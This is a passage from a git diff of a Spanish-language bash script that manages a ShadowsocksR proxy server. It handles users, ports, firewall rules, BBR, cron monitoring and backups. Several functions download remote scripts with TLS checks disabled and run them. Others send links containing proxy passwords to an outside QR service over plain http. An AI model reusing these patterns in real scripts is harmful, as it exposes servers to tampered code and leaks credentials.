Ubuntu. OpenVZ y Docker no admiten el reemplazo de los nucleos. +3. Debian reemplaza el proceso del kernel [Desea finalizar el kernel de desinstalacion], seleccione ${Green_font_prefix} NO ${Font_color_suffix}" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" bbr_num +msg -bar + [[ -z "${bbr_num}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + if [[ ${bbr_num} == "1" ]]; then + Install_BBR + elif [[ ${bbr_num} == "2" ]]; then + Start_BBR + elif [[ ${bbr_num} == "3" ]]; then + Stop_BBR + elif [[ ${bbr_num} == "4" ]]; then + Status_BBR + else + echo -e "${Error} Por favor numero(1-4)" && exit 1 + fi +} +Install_BBR(){ + [[ ${release} = "centos" ]] && echo -e "${Error} Este script de instalacion del sistema CentOS. BBR !" && exit 1 + BBR_installation_status + bash "${BBR_file}" +} +Start_BBR(){ + BBR_installation_status + bash "${BBR_file}" start +} +Stop_BBR(){ + BBR_installation_status + bash "${BBR_file}" stop +} +Status_BBR(){ + BBR_installation_status + bash "${BBR_file}" status +} +BackUP_ssrr(){ +clear +msg -bar +msg -ama "$(fun_trans "HERRAMIENTA DE BACKUP SS-SSRR -BETA")" +msg -bar +msg -azu "CREANDO BACKUP" "RESTAURAR BACKUP" +msg -bar +rm -rf /root/mudb.json > /dev/null 2>&1 +cp /usr/local/shadowsocksr/mudb.json /root/mudb.json > /dev/null 2>&1 +msg -azu "$(fun_trans "Procedimiento Hecho con Exito, Guardado en:")" +echo -e "\033[1;31mBACKUP > [\033[1;32m/root/mudb.json\033[1;31m]" +msg -bar +} +RestaurarBackUp_ssrr(){ +clear +msg -bar +msg -ama "$(fun_trans "HERRAMIENTA DE RESTAURACION SS-SSRR -BETA")" +msg -bar +msg -azu "Recuerde tener minimo una cuenta ya creada" +msg -azu "Copie el archivo mudb.json en la carpeta /root" +read -p " ►► Presione enter para continuar ◄◄" +msg -bar +msg -azu "$(fun_trans "Procedimiento Hecho con Exito")" +read -p " ►► Presione enter para Reiniciar Panel SSRR ◄◄" +msg -bar +mv /root/mudb.json /usr/local/shadowsocksr/mudb.json +Restart_SSR +msg -bar +} + +# Otros +Other_functions(){ +clear +msg -bar + echo && echo -e " Que vas a realizar? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Configurar BBR + ${Green_font_prefix}2.${Font_color_suffix} Velocidad de configuracion (ServerSpeeder) + ${Green_font_prefix}3.${Font_color_suffix} Configurar LotServer (Rising Parent) + ${Tip} Sharp / LotServer / BBR no es compatible con OpenVZ! + ${Tip} Speed y LotServer no pueden coexistir! +———————————— + ${Green_font_prefix}4.${Font_color_suffix} Llave de bloqueo BT/PT/SPAM (iptables) + ${Green_font_prefix}5.${Font_color_suffix} Llave de desbloqueo BT/PT/SPAM (iptables) +———————————— + ${Green_font_prefix}6.${Font_color_suffix} Cambiar modo de salida de registro ShadowsocksR + —— Modo bajo o verboso.. + ${Green_font_prefix}7.${Font_color_suffix} Supervisar el estado de ejecucion del servidor ShadowsocksR + —— NOTA: Esta funcion es adecuada para que el servidor SSR finalice los procesos regulares. Una vez que esta funcion esta habilitada, sera detectada cada minuto. Cuando el proceso no existe, el servidor SSR se inicia automaticamente. +———————————— + ${Green_font_prefix}8.${Font_color_suffix} Backup SSRR + ${Green_font_prefix}9.${Font_color_suffix} Restaurar Backup" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" other_num + [[ -z "${other_num}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + if [[ ${other_num} == "1" ]]; then + Configure_BBR + elif [[ ${other_num} == "2" ]]; then + Configure_Server_Speeder + elif [[ ${other_num} == "3" ]]; then + Configure_LotServer + elif [[ ${other_num} == "4" ]]; then + BanBTPTSPAM + elif [[ ${other_num} == "5" ]]; then + UnBanBTPTSPAM + elif [[ ${other_num} == "6" ]]; then + Set_config_connect_verbose_info + elif [[ ${other_num} == "7" ]]; then + Set_crontab_monitor_ssr + elif [[ ${other_num} == "8" ]]; then + BackUP_ssrr + elif [[ ${other_num} == "9" ]]; then + RestaurarBackUp_ssrr + else + echo -e "${Error} Por favor numero [1-9]" && exit 1 + fi + +} +#ProhibidoBT PT SPAM +BanBTPTSPAM(){ + wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh banall + rm -rf ban_iptables.sh +} +#Desbloquear BT PT SPAM +UnBanBTPTSPAM(){ + wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh unbanall + rm -rf ban_iptables.sh +} +Set_config_connect_verbose_info(){ +clear +msg -bar + SSR_installation_status + [[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser No, por favor, compruebe!" && exit 1 + connect_verbose_info=`${jq_file} '.connect_verbose_info' ${config_user_file}` + if [[ ${connect_verbose_info} = "0" ]]; then + echo && echo -e "Modo de registro actual: ${Green_font_prefix}Registro de errores en modo simple${Font_color_suffix}" +msg -bar + echo -e "yes para cambiar a ${Green_font_prefix}Modo detallado (registro de conexin + registro de errores)${Font_color_suffix}?[y/N]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny + [[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n" + if [[ ${connect_verbose_info_ny} == [Yy] ]]; then + ssr_connect_verbose_info="1" + Modify_config_connect_verbose_info + Restart_SSR + else + echo && echo " Cancelado ..." && echo + fi + else + echo && echo -e "Modo de registro actual: ${Green_font_prefix}Modo detallado (conexion de conexion + registro de errores)${Font_color_suffix}" +msg -bar + echo -e "yes para cambiar a ${Green_font_prefix}Modo simple ${Font_color_suffix}?[y/N]" + stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny + [[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n" + if [[ ${connect_verbose_info_ny} == [Yy] ]]; then + ssr_connect_verbose_info="0" + Modify_config_connect_verbose_info + Restart_SSR + else + echo && echo " Cancelado ..." && echo + fi + fi +} +Set_crontab_monitor_ssr(){ +clear +msg -bar + SSR_installation_status + crontab_monitor_ssr_status=$(crontab -l|grep "ssrmu.sh monitor") + if [[ -z "${crontab_monitor_ssr_status}" ]]; then + echo && echo -e "Modo de monitoreo actual: ${Green_font_prefix}No monitoreado${Font_color_suffix}" +msg -bar + echo -e "Ok para abrir ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} Funcion? (Cuando el proceso R lado SSR R)[Y/n]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: y):" crontab_monitor_ssr_status_ny + [[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="y" + if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then + crontab_monitor_ssr_cron_start + else + echo && echo " Cancelado ..." && echo + fi + else + echo && echo -e "Modo de monitoreo actual: ${Green_font_prefix}Abierto${Font_color_suffix}" +msg -bar + echo -e "Ok para apagar ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} Funcion? (procesar servidor SSR)[y/N]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" crontab_monitor_ssr_status_ny + [[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="n" + if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then + crontab_monitor_ssr_cron_stop + else + echo && echo " Cancelado ..." && echo + fi + fi +} +crontab_monitor_ssr(){ + SSR_installation_status + check_pid + if [[ -z ${PID} ]]; then + echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Detectado que el servidor ShadowsocksR no esta iniciado, inicie..." | tee -a ${ssr_log_file} + /etc/init.d/ssrmu start + sleep 1s + check_pid + if [[ -z ${PID} ]]; then + echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Fallo el inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1 + else + echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Inicio de inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1 + fi + else + echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] El proceso del servidor ShadowsocksR se ejecuta normalmente..." exit 0 + fi +} +crontab_monitor_ssr_cron_start(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak" + echo -e "\n* * * * * /bin/bash $file/ssrmu.sh monitor" >> "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh monitor") + if [[ -z ${cron_config} ]]; then + echo -e "${Error} Fallo el arranque del servidor ShadowsocksR!" && exit 1 + else + echo -e "${Info} El servidor ShadowsocksR esta ejecutando la monitorizacion del estado con exito!" + fi +} +crontab_monitor_ssr_cron_stop(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh monitor") + if [[ ! -z ${cron_config} ]]; then + echo -e "${Error} Fallo la detencion del servidor ShadowsocksR!" && exit 1 + else + echo -e "${Info} La supervision del estado de ejecucion del servidor de ShadowsocksR se detiene correctamente!" + fi +} +Update_Shell(){ +clear +msg -bar + echo -e "La version actual es [ ${sh_ver} ], Comienza a detectar la ultima version ..." + sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) && sh_new_type="github" + [[ -z ${sh_new_ver} ]] && sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) && sh_new_type="github" + [[ -z ${sh_new_ver} ]] && echo -e "${Error} Ultima version de deteccion !" && exit 0 + if [[ ${sh_new_ver} != ${sh_ver} ]]; then + echo -e "Descubrir nueva version[ ${sh_new_ver} ], Esta actualizado?[Y/n]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: y):" yn + [[ -z "${yn}" ]] && yn="y" + if [[ ${yn} == [Yy] ]]; then + cd "${file}" + if [[ $sh_new_type == "github" ]]; then + wget -N --no-check-certificate https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh && chmod +x ssrrmu.sh + fi + echo -e "El script ha sido actualizado a la ultima version.[ ${sh_new_ver} ] !" + else + echo && echo " Cancelado ..." && echo + fi + else + echo -e "Actualmente es la ultima version.[ ${sh_new_ver} ] !" + fi + exit 0 + +} +# Mostrar el estado del menu +menu_status(){ +msg -bar + if [[ -e ${ssr_folder} ]]; then + check_pid + if [[ ! -z "${PID}" ]]; then + echo -e " ChuKK-SCRIPT @drowkid01\n Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} y ${Green_font_prefix}Iniciado${Font_color_suffix}" + else + echo -e " Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} pero ${Red_font_prefix}no comenzo${Font_color_suffix}" + fi + cd "${ssr_folder}" + else + echo -e " Estado actual: ${Red_font_prefix}No Instalado${Font_color_suffix}" + fi +} +check_sys +[[ ${release} != "debian" ]] && [[ ${release} != "ubuntu" ]] && [[ ${release} != "centos" ]] && echo -e "${Error} el script no es compatible con el sistema actual ${release} !" && exit 1 +action=$1 +if [[ "${action}" == "clearall" ]]; then + Clear_transfer_all +elif [[ "${action}" == "monitor" ]]; then + crontab_monitor_ssr +else +#echo -e "\033[1;37m =====>>►► 🐲 PANEL VPS•MX 🐲 ◄◄<<===== \033[1;37m" +tittle +msg -bar +echo -e " Controlador de ShadowSock-R ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix} +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Instalar ShadowsocksR + ${Green_font_prefix}2.${Font_color_suffix} Actualizar ShadowsocksR + ${Green_font_prefix}3.${Font_color_suffix} Desinstalar ShadowsocksR + ${Green_font_prefix}4.${Font_color_suffix} Instalar libsodium (chacha20) +————————————— + ${Green_font_prefix}5.${Font_color_suffix} Verifique la informacion de la cuenta + ${Green_font_prefix}6.${Font_color_suffix} Mostrar la informacion de conexion + ${Green_font_prefix}7.${Font_color_suffix} Agregar/Modificar/Eliminar la configuracion del usuario + ${Green_font_prefix}8.${Font_color_suffix} Modificar manualmente la configuracion del usuario + ${Green_font_prefix}9.${Font_color_suffix} Borrar el trafico usado +—————————————— + ${Green_font_prefix}10.${Font_color_suffix} Iniciar ShadowsocksR + ${Green_font_prefix}11.${Font_color_suffix} Detener ShadowsocksR + ${Green_font_prefix}12.${Font_color_suffix} Reiniciar ShadowsocksR + ${Green_font_prefix}13.${Font_color_suffix} Verificar Registro de ShadowsocksR +————————————— + ${Green_font_prefix}14.${Font_color_suffix} Otras Funciones + ${Green_font_prefix}15.${Font_color_suffix} Actualizar Script +$(msg -bar) + ${Green_font_prefix}16.${Font_color_suffix}${Red_font_prefix} SALIR" + + menu_status + msg -bar + stty erase '^H' && read -p "Porfavor seleccione una opcion [1-16]:" num + msg -bar +case "$num" in + 1) + Install_SSR + ;; + 2) + Update_SSR + ;; + 3) + Uninstall_SSR + ;; + 4) + Install_Libsodium + ;; + 5) + View_User + ;; + 6) + View_user_connection_info + ;; + 7) + Modify_Config + ;; + 8) + Manually_Modify_Config + ;; + 9) + Clear_transfer + ;; + 10) + Start_SSR + ;; + 11) + Stop_SSR + ;; + 12) + Restart_SSR + ;; + 13) + View_Log + ;; + 14) + Other_functions + ;; + 15) + Update_Shell + ;; + 16) + exit 1 + ;; + *) + echo -e "${Error} Porfavor use numeros del [1-16]" + msg -bar + ;; +esac +fi diff --git a/Recursos/test/C-SSR.sh b/Recursos/test/C-SSR.sh new file mode 100644 index 0000000..32e6385 --- /dev/null +++ b/Recursos/test/C-SSR.sh @@ -0,0 +1,2076 @@ +#!/bin/bash +#19/12/2019 +clear +msg -bar +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin +export PATH +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +BARRA1="\e[0;31m--------------------------------------------------------------------\e[0m" +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +sh_ver="1.0.26" +filepath=$(cd "$(dirname "$0")"; pwd) +file=$(echo -e "${filepath}"|awk -F "$0" '{print $1}') +ssr_folder="/usr/local/shadowsocksr" +config_file="${ssr_folder}/config.json" +config_user_file="${ssr_folder}/user-config.json" +config_user_api_file="${ssr_folder}/userapiconfig.py" +config_user_mudb_file="${ssr_folder}/mudb.json" +ssr_log_file="${ssr_folder}/ssserver.log" +Libsodiumr_file="/usr/local/lib/libsodium.so" +Libsodiumr_ver_backup="1.0.16" +Server_Speeder_file="/serverspeeder/bin/serverSpeeder.sh" +LotServer_file="/appex/bin/serverSpeeder.sh" +BBR_file="${file}/bbr.sh" +jq_file="${ssr_folder}/jq" + +Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m" +Info="${Green_font_prefix}[ INFORMACION ]${Font_color_suffix}" +Error="${Red_font_prefix}[# ERROR #]${Font_color_suffix}" +Tip="${Green_font_prefix}[ NOTA ]${Font_color_suffix}" +Separator_1="——————————————————————————————" + +check_root(){ + [[ $EUID != 0 ]] && echo -e "${Error} La cuenta actual no es ROOT (no tiene permiso ROOT), no puede continuar la operacion, por favor ${Green_background_prefix} sudo su ${Font_color_suffix} Venga a ROOT (le pedire que ingrese la contraseña de la cuenta actual despues de la ejecucion)" && exit 1 +} +check_sys(){ + if [[ -f /etc/redhat-release ]]; then + release="centos" + elif cat /etc/issue | grep -q -E -i "debian"; then + release="debian" + elif cat /etc/issue | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + elif cat /proc/version | grep -q -E -i "debian"; then + release="debian" + elif cat /proc/version | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + fi + bit=`uname -m` +} +check_pid(){ + PID=`ps -ef |grep -v grep | grep server.py |awk '{print $2}'` +} +check_crontab(){ + [[ ! -e "/usr/bin/crontab" ]] && echo -e "${Error}Falta de dependencia Crontab, Por favor, intente instalar manualmente CentOS: yum install crond -y , Debian/Ubuntu: apt-get install cron -y !" && exit 1 +} +SSR_installation_status(){ + [[ ! -e ${ssr_folder} ]] && echo -e "${Error}\nShadowsocksR No se encontro la carpeta, por favor verifique\n$(msg -bar)" && exit 1 +} +Server_Speeder_installation_status(){ + [[ ! -e ${Server_Speeder_file} ]] && echo -e "${Error}No instalado (Server Speeder), Por favor compruebe!" && exit 1 +} +LotServer_installation_status(){ + [[ ! -e ${LotServer_file} ]] && echo -e "${Error}No instalado LotServer, Por favor revise!" && exit 1 +} +BBR_installation_status(){ + if [[ ! -e ${BBR_file} ]]; then + echo -e "${Error} No encontre el script de BBR, comience a descargar ..." + cd "${file}" + if ! wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/bbr.sh; then + echo -e "${Error} BBR script descargar!" && exit 1 + else + echo -e "${Info} BBR script descarga completa!" + chmod +x bbr.sh + fi + fi +} +#Establecer reglas de firewall +Add_iptables(){ + if [[ ! -z "${ssr_port}" ]]; then + iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT + iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT + ip6tables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT + ip6tables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT + fi +} +Del_iptables(){ + if [[ ! -z "${port}" ]]; then + iptables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT + iptables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT + ip6tables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT + ip6tables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT + fi +} +Save_iptables(){ + if [[ ${release} == "centos" ]]; then + service iptables save + service ip6tables save + else + iptables-save > /etc/iptables.up.rules + ip6tables-save > /etc/ip6tables.up.rules + fi +} +Set_iptables(){ + if [[ ${release} == "centos" ]]; then + service iptables save + service ip6tables save + chkconfig --level 2345 iptables on + chkconfig --level 2345 ip6tables on + else + iptables-save > /etc/iptables.up.rules + ip6tables-save > /etc/ip6tables.up.rules + echo -e '#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules\n/sbin/ip6tables-restore < /etc/ip6tables.up.rules' > /etc/network/if-pre-up.d/iptables + chmod +x /etc/network/if-pre-up.d/iptables + fi +} +#Leer la informacin de configuracin +Get_IP(){ + ip=$(wget -qO- -t1 -T2 ipinfo.io/ip) + if [[ -z "${ip}" ]]; then + ip=$(wget -qO- -t1 -T2 api.ip.sb/ip) + if [[ -z "${ip}" ]]; then + ip=$(wget -qO- -t1 -T2 members.3322.org/dyndns/getip) + if [[ -z "${ip}" ]]; then + ip="VPS_IP" + fi + fi + fi +} +Get_User_info(){ + Get_user_port=$1 + user_info_get=$(python mujson_mgr.py -l -p "${Get_user_port}") + match_info=$(echo "${user_info_get}"|grep -w "### user ") + if [[ -z "${match_info}" ]]; then + echo -e "${Error}La adquisicion de informacion del usuario fallo ${Green_font_prefix}[Puerto: ${ssr_port}]${Font_color_suffix} " && exit 1 + fi + user_name=$(echo "${user_info_get}"|grep -w "user :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + port=$(echo "${user_info_get}"|grep -w "port :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + password=$(echo "${user_info_get}"|grep -w "passwd :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + method=$(echo "${user_info_get}"|grep -w "method :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + protocol=$(echo "${user_info_get}"|grep -w "protocol :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + protocol_param=$(echo "${user_info_get}"|grep -w "protocol_param :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + [[ -z ${protocol_param} ]] && protocol_param="0(Ilimitado)" +msg -bar + obfs=$(echo "${user_info_get}"|grep -w "obfs :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + #transfer_enable=$(echo "${user_info_get}"|grep -w "transfer_enable :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}'|awk -F "ytes" '{print $1}'|sed 's/KB/ KB/;s/MB/ MB/;s/GB/ GB/;s/TB/ TB/;s/PB/ PB/') + #u=$(echo "${user_info_get}"|grep -w "u :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + #d=$(echo "${user_info_get}"|grep -w "d :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + forbidden_port=$(echo "${user_info_get}"|grep -w "Puerto prohibido :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + [[ -z ${forbidden_port} ]] && forbidden_port="Permitir todo" +msg -bar + speed_limit_per_con=$(echo "${user_info_get}"|grep -w "speed_limit_per_con :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + speed_limit_per_user=$(echo "${user_info_get}"|grep -w "speed_limit_per_user :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + Get_User_transfer "${port}" +} +Get_User_transfer(){ + transfer_port=$1 + #echo "transfer_port=${transfer_port}" + all_port=$(${jq_file} '.[]|.port' ${config_user_mudb_file}) + #echo "all_port=${all_port}" + port_num=$(echo "${all_port}"|grep -nw "${transfer_port}"|awk -F ":" '{print $1}') + #echo "port_num=${port_num}" + port_num_1=$(expr ${port_num} - 1) + #echo "port_num_1=${port_num_1}" + transfer_enable_1=$(${jq_file} ".[${port_num_1}].transfer_enable" ${config_user_mudb_file}) + #echo "transfer_enable_1=${transfer_enable_1}" + u_1=$(${jq_file} ".[${port_num_1}].u" ${config_user_mudb_file}) + #echo "u_1=${u_1}" + d_1=$(${jq_file} ".[${port_num_1}].d" ${config_user_mudb_file}) + #echo "d_1=${d_1}" + transfer_enable_Used_2_1=$(expr ${u_1} + ${d_1}) + #echo "transfer_enable_Used_2_1=${transfer_enable_Used_2_1}" + transfer_enable_Used_1=$(expr ${transfer_enable_1} - ${transfer_enable_Used_2_1}) + #echo "transfer_enable_Used_1=${transfer_enable_Used_1}" + + + if [[ ${transfer_enable_1} -lt 1024 ]]; then + transfer_enable="${transfer_enable_1} B" + elif [[ ${transfer_enable_1} -lt 1048576 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1024'}') + transfer_enable="${transfer_enable} KB" + elif [[ ${transfer_enable_1} -lt 1073741824 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1048576'}') + transfer_enable="${transfer_enable} MB" + elif [[ ${transfer_enable_1} -lt 1099511627776 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1073741824'}') + transfer_enable="${transfer_enable} GB" + elif [[ ${transfer_enable_1} -lt 1125899906842624 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1099511627776'}') + transfer_enable="${transfer_enable} TB" + fi + #echo "transfer_enable=${transfer_enable}" + if [[ ${u_1} -lt 1024 ]]; then + u="${u_1} B" + elif [[ ${u_1} -lt 1048576 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1024'}') + u="${u} KB" + elif [[ ${u_1} -lt 1073741824 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1048576'}') + u="${u} MB" + elif [[ ${u_1} -lt 1099511627776 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1073741824'}') + u="${u} GB" + elif [[ ${u_1} -lt 1125899906842624 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1099511627776'}') + u="${u} TB" + fi + #echo "u=${u}" + if [[ ${d_1} -lt 1024 ]]; then + d="${d_1} B" + elif [[ ${d_1} -lt 1048576 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1024'}') + d="${d} KB" + elif [[ ${d_1} -lt 1073741824 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1048576'}') + d="${d} MB" + elif [[ ${d_1} -lt 1099511627776 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1073741824'}') + d="${d} GB" + elif [[ ${d_1} -lt 1125899906842624 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1099511627776'}') + d="${d} TB" + fi + #echo "d=${d}" + if [[ ${transfer_enable_Used_1} -lt 1024 ]]; then + transfer_enable_Used="${transfer_enable_Used_1} B" + elif [[ ${transfer_enable_Used_1} -lt 1048576 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1024'}') + transfer_enable_Used="${transfer_enable_Used} KB" + elif [[ ${transfer_enable_Used_1} -lt 1073741824 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1048576'}') + transfer_enable_Used="${transfer_enable_Used} MB" + elif [[ ${transfer_enable_Used_1} -lt 1099511627776 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1073741824'}') + transfer_enable_Used="${transfer_enable_Used} GB" + elif [[ ${transfer_enable_Used_1} -lt 1125899906842624 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1099511627776'}') + transfer_enable_Used="${transfer_enable_Used} TB" + fi + #echo "transfer_enable_Used=${transfer_enable_Used}" + if [[ ${transfer_enable_Used_2_1} -lt 1024 ]]; then + transfer_enable_Used_2="${transfer_enable_Used_2_1} B" + elif [[ ${transfer_enable_Used_2_1} -lt 1048576 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1024'}') + transfer_enable_Used_2="${transfer_enable_Used_2} KB" + elif [[ ${transfer_enable_Used_2_1} -lt 1073741824 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1048576'}') + transfer_enable_Used_2="${transfer_enable_Used_2} MB" + elif [[ ${transfer_enable_Used_2_1} -lt 1099511627776 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1073741824'}') + transfer_enable_Used_2="${transfer_enable_Used_2} GB" + elif [[ ${transfer_enable_Used_2_1} -lt 1125899906842624 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1099511627776'}') + transfer_enable_Used_2="${transfer_enable_Used_2} TB" + fi + #echo "transfer_enable_Used_2=${transfer_enable_Used_2}" +} +urlsafe_base64(){ + date=$(echo -n "$1"|base64|sed ':a;N;s/\n/ /g;ta'|sed 's/ //g;s/=//g;s/+/-/g;s/\//_/g') + echo -e "${date}" +} +ss_link_qr(){ + SSbase64=$(urlsafe_base64 "${method}:${password}@${ip}:${port}") + SSurl="ss://${SSbase64}" + SSQRcode="http://www.codigos-qr.com/qr/php/qr_img.php?d=${SSurl}" + ss_link=" SS Link :\n ${Green_font_prefix}${SSurl}${Font_color_suffix} \n Codigo QR SS:\n ${Green_font_prefix}${SSQRcode}${Font_color_suffix}" +} +ssr_link_qr(){ + SSRprotocol=$(echo ${protocol} | sed 's/_compatible//g') + SSRobfs=$(echo ${obfs} | sed 's/_compatible//g') + SSRPWDbase64=$(urlsafe_base64 "${password}") + SSRbase64=$(urlsafe_base64 "${ip}:${port}:${SSRprotocol}:${method}:${SSRobfs}:${SSRPWDbase64}") + SSRurl="ssr://${SSRbase64}" + SSRQRcode="http://www.codigos-qr.com/qr/php/qr_img.php?d=${SSRurl}" + ssr_link=" SSR Link :\n ${Red_font_prefix}${SSRurl}${Font_color_suffix} \n Codigo QR SSR:\n ${Red_font_prefix}${SSRQRcode}${Font_color_suffix}" +} +ss_ssr_determine(){ + protocol_suffix=`echo ${protocol} | awk -F "_" '{print $NF}'` + obfs_suffix=`echo ${obfs} | awk -F "_" '{print $NF}'` + if [[ ${protocol} = "origin" ]]; then + if [[ ${obfs} = "plain" ]]; then + ss_link_qr + ssr_link="" + else + if [[ ${obfs_suffix} != "compatible" ]]; then + ss_link="" + else + ss_link_qr + fi + fi + else + if [[ ${protocol_suffix} != "compatible" ]]; then + ss_link="" + else + if [[ ${obfs_suffix} != "compatible" ]]; then + if [[ ${obfs_suffix} = "plain" ]]; then + ss_link_qr + else + ss_link="" + fi + else + ss_link_qr + fi + fi + fi + ssr_link_qr +} +# Display configuration information +View_User(){ +clear + SSR_installation_status + List_port_user + while true + do + echo -e "Ingrese el puerto de usuario para ver la informacion\nde la cuenta completa" +msg -bar + stty erase '^H' && read -p 